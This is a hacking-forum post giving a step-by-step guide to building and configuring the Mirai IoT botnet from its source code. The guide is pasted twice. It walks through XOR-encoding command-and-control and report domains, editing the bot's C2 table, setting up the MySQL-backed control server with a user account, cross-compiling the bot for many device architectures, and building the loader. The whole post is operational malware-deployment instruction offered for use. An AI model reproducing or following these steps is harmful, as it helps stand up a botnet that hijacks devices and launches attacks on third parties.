dEEpEst
☣☣ In The Depths ☣☣
Staff member
Administrator
Super Moderator
Hacker
Specter
Crawler
Shadow
- Joined
- Mar 29, 2018
- Messages
- 13,861
- Solutions
- 4
- Reputation
- 32
- Reaction score
- 45,552
- Points
- 1,813
- Credits
- 55,350
7 Years of Service
56%
[h=2]Install requirements[/h][FONT=&]apt-get install git gcc golang electric-fence mysql-server mysql-client[/FONT]
[h=2]Download source code[/h][FONT=&] [/FONT]
[FONT=&] [/FONT]
[h=2]Compile encrypt-script[/h][FONT=&]cd mirai/tools && gcc enc.c -o enc.out[/FONT]
[h=2]Encrypt your cnc-domain and report-domain[/h][FONT=&]./enc.out string cnc.mirai.com[/FONT]
xy@kali:~/Desktop/Mirai-Source-Code-master/mirai/tools$ ./enc.out string cnc.mirai.com
XOR'ing 14 bytes of data...
\x41\x4C\x41\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22
[FONT=&]./enc.out string report.mirai.com[/FONT]
xy@kali:~/Desktop/Mirai-Source-Code-master/mirai/tools$ ./enc.out string report.mirai.com
XOR'ing 17 bytes of data...
\x50\x47\x52\x4D\x50\x56\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22
[h=2]Configuring bot[/h][FONT=&]edit file "tables.c"[/FONT]
[FONT=&]vi ../bot/tables.c[/FONT]
[FONT=&]change string in line 18,line 21 to your encrypted domain string.[/FONT]
void table_init(void)
{ // change below 4 lines
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22", 30); //cnc.mirai.com
add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23
add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22", 29); // report.mirai.com
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101
[h=2]Configuring CNC[/h][FONT=&]cd ../../scripts[/FONT]
[FONT=&]edit file "db.sql"[/FONT]
[FONT=&]vi db.sql[/FONT]
[FONT=&]add string "use mirai;" in line 2, after "CREATE DATABASE mirai;"[/FONT]
CREATE DATABASE mirai;
use mirai;
CREATE TABLE `history` (
...
[FONT=&]start mysql service[/FONT]
[FONT=&]service mysql start[/FONT]
[FONT=&]update mysql database with this script (root:root is the user & pass I've set in my Mysql-server)[/FONT]
[FONT=&]cat db.sql | mysql -uroot -proot[/FONT]
[FONT=&]add user to mysql[/FONT]
[FONT=&]mysql -uroot -proot mirai[/FONT]
[FONT=&]INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, '');[/FONT]
[FONT=&]exit[/FONT]
xy@kali:~/Desktop/Mirai-Source-Code-master/scripts$ mysql -uroot -proot mirai
...
mysql> INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, '');
Query OK, 1 row affected (0.06 sec)
mysql> exit
Bye
[FONT=&]edit file "main.go"[/FONT]
[FONT=&]vi ../mirai/cnc/main.go[/FONT]
[FONT=&]line 10 - line 14 set mysql user and pass here[/FONT]
const DatabaseAddr string = "127.0.0.1"
const DatabaseUser string = "root"
const DatabasePass string = "root"
const DatabaseTable string = "mirai"
[h=2]Cross Compile[/h][FONT=&]now you are in "scripts" folder[/FONT]
xy@kali:~/Desktop/Mirai-Source-Code-master/scripts$
[FONT=&]create folder at Mirai root path[/FONT]
[FONT=&]cd .. && mkdir cross-compile-bin[/FONT]
[FONT=&]cd cross-compile-bin[/FONT]
[FONT=&]run following commands to download cross-compiler (use proxy if speed is slow)[/FONT]
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
[FONT=&]then run the script[/FONT]
[FONT=&]cd ../scripts[/FONT]
[FONT=&]sudo ./cross-compile.sh[/FONT]
[FONT=&]type 'n' here[/FONT]
Install mysql-server and mysql-client (y/n)? n
[FONT=&]edit .bashrc[/FONT]
[FONT=&]vi ~/.bashrc[/FONT]
[FONT=&]add following string at bottom[/FONT]
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export GOPATH=$HOME/go
[FONT=&]refresh[/FONT]
[FONT=&]mkdir ~/go[/FONT]
[FONT=&]source ~/.bashrc[/FONT]
[h=2]Build bot and CNC[/h][FONT=&]Get golang requiremnts[/FONT]
[FONT=&]go get github.com/go-sql-driver/mysql[/FONT]
[FONT=&]go get github.com/mattn/go-shellwords[/FONT]
[FONT=&]In mirai folder, run build.sh script[/FONT]
[FONT=&]cd ../mirai[/FONT]
[FONT=&]./build.sh debug telnet[/FONT]
[h=2]Build loader[/h][FONT=&]cd ../loader[/FONT]
[FONT=&]./build.sh[/FONT]
[h=2]Download source code[/h][FONT=&] [/FONT]
This link is hidden for visitors. Please Log in or register now.
[h=2]Compile encrypt-script[/h][FONT=&]cd mirai/tools && gcc enc.c -o enc.out[/FONT]
[h=2]Encrypt your cnc-domain and report-domain[/h][FONT=&]./enc.out string cnc.mirai.com[/FONT]
xy@kali:~/Desktop/Mirai-Source-Code-master/mirai/tools$ ./enc.out string cnc.mirai.com
XOR'ing 14 bytes of data...
\x41\x4C\x41\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22
[FONT=&]./enc.out string report.mirai.com[/FONT]
xy@kali:~/Desktop/Mirai-Source-Code-master/mirai/tools$ ./enc.out string report.mirai.com
XOR'ing 17 bytes of data...
\x50\x47\x52\x4D\x50\x56\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22
[h=2]Configuring bot[/h][FONT=&]edit file "tables.c"[/FONT]
[FONT=&]vi ../bot/tables.c[/FONT]
[FONT=&]change string in line 18,line 21 to your encrypted domain string.[/FONT]
void table_init(void)
{ // change below 4 lines
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22", 30); //cnc.mirai.com
add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23
add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22", 29); // report.mirai.com
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101
[h=2]Configuring CNC[/h][FONT=&]cd ../../scripts[/FONT]
[FONT=&]edit file "db.sql"[/FONT]
[FONT=&]vi db.sql[/FONT]
[FONT=&]add string "use mirai;" in line 2, after "CREATE DATABASE mirai;"[/FONT]
CREATE DATABASE mirai;
use mirai;
CREATE TABLE `history` (
...
[FONT=&]start mysql service[/FONT]
[FONT=&]service mysql start[/FONT]
[FONT=&]update mysql database with this script (root:root is the user & pass I've set in my Mysql-server)[/FONT]
[FONT=&]cat db.sql | mysql -uroot -proot[/FONT]
[FONT=&]add user to mysql[/FONT]
[FONT=&]mysql -uroot -proot mirai[/FONT]
[FONT=&]INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, '');[/FONT]
[FONT=&]exit[/FONT]
xy@kali:~/Desktop/Mirai-Source-Code-master/scripts$ mysql -uroot -proot mirai
...
mysql> INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, '');
Query OK, 1 row affected (0.06 sec)
mysql> exit
Bye
[FONT=&]edit file "main.go"[/FONT]
[FONT=&]vi ../mirai/cnc/main.go[/FONT]
[FONT=&]line 10 - line 14 set mysql user and pass here[/FONT]
const DatabaseAddr string = "127.0.0.1"
const DatabaseUser string = "root"
const DatabasePass string = "root"
const DatabaseTable string = "mirai"
[h=2]Cross Compile[/h][FONT=&]now you are in "scripts" folder[/FONT]
xy@kali:~/Desktop/Mirai-Source-Code-master/scripts$
[FONT=&]create folder at Mirai root path[/FONT]
[FONT=&]cd .. && mkdir cross-compile-bin[/FONT]
[FONT=&]cd cross-compile-bin[/FONT]
[FONT=&]run following commands to download cross-compiler (use proxy if speed is slow)[/FONT]
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
[FONT=&]then run the script[/FONT]
[FONT=&]cd ../scripts[/FONT]
[FONT=&]sudo ./cross-compile.sh[/FONT]
[FONT=&]type 'n' here[/FONT]
Install mysql-server and mysql-client (y/n)? n
[FONT=&]edit .bashrc[/FONT]
[FONT=&]vi ~/.bashrc[/FONT]
[FONT=&]add following string at bottom[/FONT]
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export GOPATH=$HOME/go
[FONT=&]refresh[/FONT]
[FONT=&]mkdir ~/go[/FONT]
[FONT=&]source ~/.bashrc[/FONT]
[h=2]Build bot and CNC[/h][FONT=&]Get golang requiremnts[/FONT]
[FONT=&]go get github.com/go-sql-driver/mysql[/FONT]
[FONT=&]go get github.com/mattn/go-shellwords[/FONT]
[FONT=&]In mirai folder, run build.sh script[/FONT]
[FONT=&]cd ../mirai[/FONT]
[FONT=&]./build.sh debug telnet[/FONT]
[h=2]Build loader[/h][FONT=&]cd ../loader[/FONT]
[FONT=&]./build.sh[/FONT]